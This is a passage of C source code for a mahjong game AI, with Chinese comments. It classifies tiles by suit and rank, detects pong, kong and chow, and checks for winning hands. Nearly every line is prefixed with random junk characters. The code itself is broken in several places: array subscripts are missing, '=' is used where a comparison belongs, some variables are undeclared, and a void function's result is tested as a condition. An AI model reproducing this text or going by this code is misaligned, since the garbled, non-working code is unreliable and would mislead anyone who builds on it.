- M( ?2 N8 W, |* _8 x7 Telse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
{
lgg=3;
computer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
2 x1 D3 x" p( s9 J  O1 ~{
7 g1 F0 }- ^! u+ s2 Mlgg=4;
computer.pp.d[1]=4;
. y. ^2 O  [3 U# I9 X. {4 y) s}
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
/ h- U) [$ `" d  R& ]  N1 h4 d{
" A; K/ M& s6 c; s/ v' G3 Nlgg=5;
computer.pp.d[1]=5;
# x  w& A3 k/ D/ R, x}
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
8 T& c9 L. G+ v/ R{
- ^6 Q  w3 I. y9 Q7 n/ G) a/ @4 \* Olgg=6;
computer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
- \. `) @+ \$ y{
/ ?$ B3 v5 w$ @! z6 klgg=7;
* P9 O  d, D$ g4 V# }computer.pp.d[1]=7;
3 Y! r3 `: @. W1 P  A+ j}
& j* |  O, p  k. S2 l* Z9 Oelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
{
. w! O& e! y; L1 `# A' ?) {lgg=8;
- W+ X' V) x" r( acomputer.pp.d[1]=8;
}
6 R4 F: o. ]! Aelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
{
! j! L- V8 I, slgg=9;
6 M" Q/ h. c& M2 pcomputer.pp.d[1]=9;
}
}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
6 a. P* g2 E2 s: O" ^3 `! _{
) n8 z# o' ^/ C% i2 ulg=4;
computer.pp.d[0]=4;
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
  m* t1 p+ P- `+ {; G& {& l- N* }{
- U6 G$ N# \3 b3 xlgg=1;
computer.pp.d[1]=1;
0 w. e+ H9 t8 `( z}
  a1 I+ y( O- V" \$ U. Pelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
{
lgg=2;
computer.pp.d[1]=2;
0 j' w7 t* i( m. k9 ?}
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
3 a. K' Z7 F8 J; a{
lgg=3;
computer.pp.d[1]=3;
; E+ Y9 i4 W" _6 S$ i}
* L; [) T9 _. V$ [4 y4 k% velse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
; I6 V' `, {; N# n+ h. Z{
lgg=4;
computer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
/ x0 y- l, r* [! F{
lgg=5;
+ G6 X, U+ ^9 ~! X' @3 M# scomputer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
8 t" o. H* |& m{
1 G, q3 @! T6 `. s, m# ]; w' Ilgg=6;
) H4 v" |0 |" ?/ U6 e- `) U3 Lcomputer.pp.d[1]=6;
+ |  W; t0 E% \. B}
# r6 ]/ e/ \7 Z( X# b2 oelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
- v& ]3 _  V) P& [( [  r{
lgg=7;
; @$ C! e/ q/ E5 ncomputer.pp.d[1]=7;
}
}

if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
if(logoo==lgg)
( d7 K$ \. r4 @8 lpg++;
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
6 V! ?0 H) e5 `" }7 `% ach.lgg=lgg;
' d& Z& d, L3 C8 E% Olg=0;
& [7 c$ P9 ~# \+ clgg=0;
b++;
}
if(pg==2) /*乓*/
6 Y" T4 J: b* [9 @, `& B3 F" J9 s0 M{

8 L1 B. @8 x3 W3 e3 |1 hsing=1;
b=computer.m;
$ ^0 C* q$ b1 |, t: b- Z# {while(b!=-1)
{
5 w) i" Z; A/ |( q  S( w; f0 iif(strcmp(me.pp[c].k,computer.pp.k)==0)
4 s% X$ `$ W# X! p+ u5 |computer.pp.p=1;
8 `9 n0 C: f9 E7 T/ v8 u
7 y- {) E: J5 N$ U6 qb--;
}
7 K" a; W! i! B* j3 _2 b7 V}
if(pg==3) /*杠*/
' s1 W0 W- H7 l9 t6 E% M/ k{
! \% l" k; K; l1 a9 J5 \4 J- e# _
( e8 J* |4 x+ h3 Using=2;
2 D9 j9 j/ e/ V2 Rb=computer.m;
7 g! t3 g- i3 F; Q  C5 Nwhile(b!=-1)
( O# s, b- N! z* N& I{
if(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.g=1;
5 D0 i: \. j& Wb--;
}
}
) [" i: }3 `6 Pf=0;
% X" w0 e/ E$ X( pwhile(f&lt;computer.m) /*吃的判断*/
+ X8 H& g7 W- Z) e# Z: s1 b{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
8 d1 ]1 I; R$ v{
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
if(ch[f].lgg-logoo==1)
{
! d3 E2 g+ @( _0 I5 x- Lgp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
+ |* K% v5 j4 Y}
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
' W" ^. R6 w* X6 M: |" y* Zif(ch[f+1].lgg-logoo==-1)
{
+ Y1 S* ?& l/ ~9 U! U5 q) `& u& ?) Cgp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
}
if(ch[f].lgg-logoo==-1) /*中吃*/
if(ch[f+1].lgg-logoo==1)
{
gp++;
computer.pp[f].c=1;
/ h2 j6 o  K1 ^0 ?computer.pp[f+1].c=1;
}
* v1 u+ I. `! O( H: I1 gif(gp==1)
break;
7 ?: _/ I# h: L4 @9 G" F! @}
f++;
}
if(gp==1)
: X5 v6 X  m( ?8 z{sing=7;
8 l( z, G9 k8 ]
}
8 R# B8 P5 C) h/ |8 U6 V9 P: zpg=0;
gp=0;
b=0;
( ]/ I: l1 m# R}
5 B+ {' `7 M' y) P+ hvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
3 C5 q' x3 m/ M2 t& b- e  eif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
3 ~3 F) \( l. d{
logo=1;
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
logoo=1;
! t+ r2 O5 r, e2 j2 a+ j4 qelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
logoo=2;
6 P9 O# b/ w$ x/ i. v' ]1 |else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
) i4 p1 J1 W$ b$ \5 _logoo=3;
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
logoo=4;
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
logoo=5;
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
0 _# j. F) ~$ P2 ]logoo=6;
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
+ \6 m' ?/ N1 j5 Ilogoo=7;
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
( B1 C! A9 T2 r: a! J! r7 slogoo=8;
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
logoo=9;
}
1 ]6 v/ n3 p" K  e; u& u4 helse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
) q( l8 u* E) B/ T{
logo=2;
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
! h9 T7 e: a2 o4 O( T1 Z3 |0 s1 Glogoo=1;
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
logoo=2;
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
1 r" }; D9 Q6 A  `4 G$ c9 ?logoo=3;
( d# C" m. v! Y% J7 ?7 @else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
8 \& ?4 B. _/ Ylogoo=4;
& g9 ]- I7 D: O3 `1 Y9 lelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
logoo=5;
  C" I) V, u, `0 lelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
5 B7 R" i: h5 Ologoo=6;
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
5 d0 D  u6 m% f" v  N% T; l* vlogoo=7;
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
logoo=8;
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
8 J) ^1 ]( a+ ?& d3 W: ]) k; U; Qlogoo=9;
}
) }  f6 m+ K7 Q, Lelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
, m' Y  A1 D" R/ F9 ]{
logo=3;
5 X" j6 d: o9 n6 N& i# y; fif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
logoo=1;
3 [5 c& V3 n/ ~& T" uelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
9 }/ `' `+ U* p1 F; l5 ]) m3 [+ ilogoo=2;
  A- C0 ^3 H/ r3 u+ S, H0 selse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
2 a6 t% z% G& B0 ?8 j/ {9 ilogoo=3;
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
logoo=4;
3 r( B/ q( J/ H; |1 R! P& Lelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
logoo=5;
( I, o, R3 j# r! \2 N8 yelse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
4 H2 X! A9 h6 B4 ^6 x: e( F+ rlogoo=6;
* n; t" _7 c9 P2 velse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
: o( S/ t/ a! s" ~5 t7 I' [logoo=7;
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
logoo=8;
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
9 `! \9 V5 R; D% ^logoo=9;
}
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
% M9 w$ y+ o: Y" z. }{
logo=4;
- w5 N$ g, {9 s' ~if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
; }$ t5 X' L0 @5 j3 e3 A- Flogoo=1;
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
5 m1 O7 _, x, I" a4 B; Q1 n* s8 klogoo=2;
) Q! T9 o% `. ?; f( e- e: ^( Jelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
+ I* D" p: ~& Vlogoo=3;
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
/ s5 H! w# C$ u1 d7 L) e" @logoo=4;
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
logoo=5;
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
logoo=6;
" A7 t- G/ o* h" M; R$ celse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
; @" e% a: o2 A- I: clogoo=7;
}
% {: t! }" n( H3 q# a. T- [while(b&lt;=me.m)
{
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
! H0 V' a4 ?# k  p4 u{
lg=1;
6 X# H, P4 x1 m. h0 a* c' }% `8 qme.pp.d[0]=1;
" c- U9 ]( J+ M) Kif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
2 r" ~+ |# |5 w5 I. L0 ^{
5 I  ~* ]: o. q5 Llgg=1;
8 M/ c! l- Y6 y& ]$ S( f/ q! yme.pp.d[1]=1;
}
* Y0 o& A  i6 Celse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
1 T& j- Q7 [- c% S{
) F/ t0 f5 t: S  Dlgg=2;
me.pp.d[1]=2;
}
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
{
lgg=3;
me.pp.d[1]=3;
}
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
{
6 W% \4 R# `6 Q+ q! algg=4;
me.pp.d[1]=4;
}
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
! [. P7 m4 t+ u# ~{
" }+ F! [3 E& K5 ~* l4 ylgg=5;
1 _' E3 }9 L) r& i7 Y% Fme.pp.d[1]=5;
' E. R2 X+ {% {1 _  k5 Y}
$ W# r1 }, G% @' Relse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
$ `) [9 g- Q0 s# C$ X( O{
lgg=6;
me.pp.d[1]=6;
; \& b7 W7 S4 E  y) ~6 e}
0 ]+ E2 E) N) @* {5 oelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
9 \( [* g$ L2 m6 b$ _2 a: |{
( }! M: m; m7 W$ slgg=7;
7 S4 D; X- ~- Nme.pp.d[1]=7;
) s" B" e9 X8 i7 r}
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
5 c3 p* i1 u/ K( a. [{
lgg=8;
me.pp.d[1]=8;
}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
{
. p3 b# m: H3 Nlgg=9;
me.pp.d[1]=9;
}
}
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
' p: E/ _4 w1 D9 _* F# W  ]{
+ D5 g; g6 p* B/ u7 b0 P4 Mlg=2;
5 X9 r7 d6 }9 p0 Q1 E3 J5 s9 Ume.pp.d[0]=2;
: V8 ]! m" T8 R: }) p( C  gif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
% B4 Q& R% U" X( E* T1 V{
lgg=1;
me.pp.d[1]=1;
5 X2 x: T  {& n7 T}
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
{
* C( v8 l) }8 u( ^0 G! x" D0 glgg=2;
me.pp.d[1]=2;
}
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
3 R9 E$ H! `! z{
  h. d4 r+ F* r4 ylgg=3;
me.pp.d[1]=3;
}
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
' ?$ K5 U4 _' P+ u) R. U{
7 p5 P, _# S9 Y9 `* w/ x. Nlgg=4;
me.pp.d[1]=4;
}
6 W, x* Q1 n6 a  r/ Ielse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
{
' g9 `0 |( `" R/ Y% V. Algg=5;
1 n4 w: y& a* ^( U* ], i0 n4 p# mme.pp.d[1]=5;
  {+ k, {$ J" ]% j/ t, R3 e: m}
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
5 L: G) @! Q$ J, P{
9 M! t4 Q% F3 M2 O' j5 B  S# t( Ulgg=6;
  I1 n9 S- l) ~) Lme.pp.d[1]=6;
/ J+ j6 O* h' P7 h}
9 I, u$ I0 z1 Y: r: l8 m% Jelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
& Z3 S2 F/ ^; Y% c2 [! b{
lgg=7;
me.pp.d[1]=7;
}
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
0 E  w3 \( d* _{
lgg=8;
me.pp.d[1]=8;
}
9 x) l7 ]+ h+ `$ Q) {9 G: n. n# Melse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
* \5 a8 `6 E6 F' O. o{
lgg=9;
' D. u0 U5 j9 U$ y( Sme.pp.d[1]=9;
}
}
9 w7 W+ h2 \- d  d8 M& I7 Ielse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
{
3 G" Q7 c* E9 _4 Alg=3;
& ~* v& G' ^2 ~- u# }* }" T: rme.pp.d[0]=3;
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
; r9 ^4 U! K9 f( n4 u{
% C+ j# f/ D) l( b# C3 B; r5 [lgg=1;
me.pp.d[1]=1;
}
& p/ Q8 \! Z! t8 yelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
( v/ L& a, W& o5 P0 [+ s' V8 c{
; d9 G5 H  P( R# i( A1 o# @: ]lgg=2;
/ C" i1 g& f, }% f# M% f/ p" a5 Xme.pp.d[1]=2;
}
7 S% d7 [3 D9 R6 B$ Aelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
0 ^9 q7 d& S% O/ c" |7 }0 V{
lgg=3;
! d) u" L9 e8 Y, B* {* ame.pp.d[1]=3;
0 S0 l! }% O& k* w; r5 l5 P}
. I5 v) c) T7 s8 i8 xelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
{
lgg=4;
me.pp.d[1]=4;
" w6 w. D# e4 n& x}
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
- r- ?: k3 p) Q, m2 L2 g{
* g* a  e0 \  l8 wlgg=5;
me.pp.d[1]=5;
}
' Q3 _& {2 n) Z/ J4 d, g7 \else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
{
5 B9 X3 o4 w: Q5 I( N& E: jlgg=6;
me.pp.d[1]=6;
6 H7 V/ f' z; ]' e}
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
{
lgg=7;
me.pp.d[1]=7;
}
$ A2 H% q, A# t+ F2 i7 ~else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
{
lgg=8;
1 T8 N7 W1 c: _2 zme.pp.d[1]=8;
}
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
% i  e, J3 x, v; K- W! M{
1 L1 Q  ]) Q6 t+ }) O& W8 W9 A  Rlgg=9;
/ l2 `' X4 F  W0 D+ z& Ame.pp.d[1]=9;
}
}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
6 T1 L. j; |) j1 }{
lg=4;
me.pp.d[0]=4;
: p1 w6 q# l- A0 Zif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
4 u# y$ D! a& X" O0 O2 K, s{
& ?. }+ P) }# g; }lgg=1;
. ], V1 g0 J8 N/ Rme.pp.d[1]=1;
; u; P: i  b8 L* T( _}
; g: T: X! W) B- b4 k; {else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
9 z7 w0 H# d& [: _{
lgg=2;
me.pp.d[1]=2;
5 v8 t3 q: O+ I0 V9 f# Z. B4 R}
  b, I! q+ m; L! b, _else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
{
3 R0 ~( e, a* |6 {3 v8 mlgg=3;
/ S4 P' G# t/ p1 T' Z. E( U# Dme.pp.d[1]=3;
9 x4 R3 w! f- {4 v" @+ @4 p1 J* J% o. P}
( C( A9 e- R; `% \else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
7 w7 M; j0 x+ g0 b( W2 Z{
lgg=4;
& V" T+ H& b# l; ]0 jme.pp.d[1]=4;
% K( `" G+ L; W8 r6 _% z% ~}
7 }! o8 ?* h" |else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
{
lgg=5;
* g% E4 T: o: T% Cme.pp.d[1]=5;
}
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
9 Z9 L; C# U: ~2 E% G8 @1 c$ `{
& s8 e+ w. f' c( ?8 Rlgg=6;
me.pp.d[1]=6;
6 E& l) p- h2 D: T}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
: X6 `2 ~1 e2 b: Q+ Y{
$ e( j+ W$ w$ c3 I: V. [lgg=7;
me.pp.d[1]=7;
}
8 R% o/ A% ]2 b9 H}
' Y& }8 p8 i! k7 N+ U}
}
7 p' \9 O! i- g5 l" dvoid istwo(testt)
- i: N) f/ X* \% j) ]& I1 dint testt[];
5 M( [  A' e4 Z{ if(testt[0]==testt[1])
0 ]# m7 [3 p6 C' E! v0 R3 Rsecond++;
# v$ H. o; ]' m4 \$ |$ Q: Y* L}
( w3 ~/ I( X* O) J1 c; L4 evoid isthree(testt,n)
" ^$ e! e; l& f' iint testt[],n=0;
{ int i,j,flage=0,lianx=0,same=0;
n=n/3;
for(j=0;j&lt;n;j++)
{
for(i=j*3;i&lt;2+j*3;i++)
{
if(testt==testt[i+1])
! S/ e, L; Y) A1 C  z' ]; \same++;
3 j4 `4 K2 {% q1 n. [- q' yif(testt[i+1]-testt==1)
lianx++;
}
if(same==2)
threes++;
if(lianx==2)
threes++;
same=0;
! H* m6 P" v) {, i/ @lianx=0;
}
* w- T8 z# d) e: K/ p}
: G; x3 n7 s7 g) avoid panduan() /*本程序的精髓*/
{int data[14];
int pw[14];
int pt[14];
int pi[14];
int pf[14];
7 A( H5 w. T4 q# P: Fint test[12];
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
for(jj=0;jj&lt;=me.m;jj++)
{
if(me.pp[jj].d[0]==1)
  {6 M' B3 }  |: [  a( f* a' Hdata[jj]=me.pp[jj].d[1];
6 x9 U& j! p- W( U# k& ~4 }, e/ f7 rif(me.pp[jj].d[0]==2)
data[jj]=me.pp[jj].d[1]+10;
if(me.pp[jj].d[0]==3)
; ~2 S( x! }0 e$ e0 Ydata[jj]=me.pp[jj].d[1]+20;
" q6 P; C! [1 ~/ o% eif(me.pp[jj].d[0]==4)
data[jj]=me.pp[jj].d[1]+30;
( o0 `$ r( r6 V}
if(logo==2)
w=logoo+10;
1 p/ J) U, w/ d, pif(logo==3)
. N/ @! \- R, M. @4 j) fw=logoo+20;
5 ?# M' Y0 _! F' J* R" j( yif(logo==4)
# B$ @- F3 b1 S! U$ Z; P: W, dw=logoo+30;
data[computer.m+1]=w;
0 p2 M. U" C: E) gfor(mm=0;mm&lt;=computer.m;mm++)
for(nn=mm;nn&lt;=computer.m;nn++)
* G& j$ F, y, L) e0 L. P, Kif(data[mm]&gt;data[nn+1])
{
tpp=data[mm];
% {' o+ `1 o/ V4 u( N5 X3 e  vdata[mm]=data[nn+1];
data[nn+1]=tpp;
' @( c. E( @  ^" k9 K' q5 V" z# b) X}
lp=0;
while(lp&lt;=computer.m)
{ if(data[lp]&lt;10)
# Y  B0 |4 w$ N: p1 h1 Tpw[ww++]=data[lp];
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
pt[tt++]=data[lp];
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
# ^( h$ Z$ f4 v; i' N/ r6 S) Opi[ii++]=data[lp];
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
, x. E" A4 t! O$ x1 {pf[ff++]=data[lp];
lp++;
}
1 G1 f9 R! c- l3 Oif(ww==2)
6 E) G8 b2 I/ F9 N/ O$ k4 {3 Histwo(pw);
# Y# y) b4 f: z2 j8 V) \8 aelse if(ww==3)
5 v' N$ F% `1 a) I! H0 N/ Q3 k! Gisthree(pw,ww);
else if(ww==5)
/*pw[5]原始牌数组，假设已经升序排列*/
% y5 [( M1 \/ P/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
9 |) s; h4 Y& h% t{
- v6 p. u, J! g; N/ @# Efor(j=0;j&lt;2;j++)
0 k% W8 p" @) f' i& v{test[j]=pw[i+j];
}
6 Q) }2 v+ W; O- X6 X% Y- Fif(istwo(test))
8 E) `# O$ s# J2 n" k( g) [# x9 ~{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
8 B+ Q& [( m! Rkl=kl+2;
if(kl==5)
" b) Q& e7 [6 X6 W: A: Qbreak;
5 |- d4 H4 b/ c/ w}
3 o  F* q* c) r/ |2 H+ Htest[ill++]=pw[kl];
}
isthree(test);
}
}
else if(ww==6)
' E  a) n  H+ g% Y3 s* t3 D+ y+ zisthree(pw,ww);
; r1 ^6 W# M: P3 B( s. Z* Y  w3 Ielse if(ww==8)
- z5 k( A6 m3 C5 X* e8 G; sfor(i=0;i&lt;7;i++)
  ]* e' P6 N  P# h+ j6 f  Y; {" ^{
6 x5 ^+ D$ Z3 I5 Dfor(j=0;j&lt;2;j++)
9 j8 D" z) f( s7 \* P7 r" d& b% G7 z{test[j]=pw[i+j];
% y4 D  L; v! _$ W1 G}
if(istwo(test))
{ ill=0;
/ m1 T) s4 o6 b5 a; wfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==8)
break;
9 B* Z- O" N+ f$ q5 W9 ?+ ]}
1 z1 g7 s7 R% M) {: B( T& a/ n. J  ctest[ill++]=pw[kl];
}
isthree(test,ww-2);
  p8 r6 I$ D' f9 u4 ?}
" n. Z5 b( c) G$ |0 X$ {, [}
' j/ r' W$ F& Yelse if(ww==9)
3 a7 b% I: b5 K  G; listhree(pw,ww);
5 @& _; S: ^1 {. {/ f) eelse if(ww==11)
. `1 P9 ]6 q8 K$ K. i, xfor(i=0;i&lt;10;i++)
{
2 w; Z% T$ ^& V, L  V5 I$ Hfor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
: P/ @& I, Q4 D}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
1 K$ W9 f% S  ]% b{
# v1 n- i4 F, ckl=kl+2;
if(kl==11)
break;
}
test[ill++]=pw[kl];
, P$ b5 s% I" y- D}
: O# [: Z& }% I$ g* b$ n( Xisthree(test,ww-2);
}
}
else if(ww=12)
isthree(pw,ww);
else if(ww=14)
. }$ _% [# ]* z7 X0 Ofor(i=0;i&lt;13;i++)
1 H5 T# ]) l* ]$ {- g- g( W{
for(j=0;j&lt;2;j++)
+ K5 A6 J: z2 \5 `: I  w{test[j]=pw[i+j];
! V7 ?% M  T* k% o  Z4 p  A}
if(istwo(test))
{ ill=0;
$ z  ?! {2 l2 m/ y& w' Tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. C, C. `, i% _1 G; x! O{if(kl==i)
{
2 E7 k) B- I- D0 p3 H: y  gkl=kl+2;
if(kl==14)
break;
}
4 t5 C/ o9 E  N2 X: W* ntest[ill++]=pw[kl];
}
isthree(test,ww-2);
3 ^4 V  y2 h$ s3 B+ d0 C4 t: l1 v}
}
0 h  x" F4 Z, ?: x. @9 d0 S+ rif(tt==2)
istwo(pt);
else if(tt==3)
; ~0 t' k! y" M) _+ f$ {# visthree(pt,tt);
else if(tt==5)
" n3 ~9 R# W9 }+ _7 k' k/*pt[5]原始牌数组，假设已经升序排列*/
7 U: _; |7 `- T" {& i, \/*test[3]用来放置测试牌的数组*/
+ F( \# |% N9 ufor(i=0;i&lt;4;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
+ f: W$ `. G1 e$ y& h, F, y}
, m# y: I: U& s' gif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
4 _( }1 \+ P7 N{
kl=kl+2;
if(kl==5)
break;
. t0 [9 b0 V" s2 v) I0 `- S% A}
- I! S  p5 S) }1 @  [( [; Stest[ill++]=pt[kl];
/ R. @% ?8 b7 }* F}
1 d0 g- l, x8 E  G6 Y/ R/ k' w. q8 X( `isthree(test);
' x' x8 C9 H# X% o' m5 h}
}
4 S0 S* b! ~/ i# l1 Y- M& yelse if(tt==6)
- {  U  z0 J6 J% A& L. misthree(pt,tt);
) R& b) |: r# welse if(tt==8)
for(i=0;i&lt;7;i++)
{
6 \: @2 l# r- @8 P1 l: h1 `1 T$ p) Xfor(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
) R! z; C+ X6 n5 d! V' q}
* s4 k; L' q' W1 S& E! z9 H2 ]if(istwo(test))
* O1 ]- W" p% |% H{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==8)
; d, Q$ j7 d3 K0 V" A+ hbreak;
}
test[ill++]=pt[kl];
- r& @6 i. ], H4 s& o8 u}
isthree(test,tt-2);
4 V4 [, L' A7 Y- b}
}
else if(tt==9)
! ^! Q2 W0 o& a* @& cisthree(pt,tt);
/ c; @3 R- B- Q6 W) K( |5 |else if(tt==11)
for(i=0;i&lt;10;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
- l' V0 |' X& Z+ I! N}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
: g7 f# u" y8 e0 W! g$ I9 E{
8 i& k) Z' e; a, P$ Ykl=kl+2;
- e0 @1 X9 r7 Q  _4 kif(kl==11)
break;
}
5 N$ Y, o2 q& l3 Htest[ill++]=pt[kl];
}
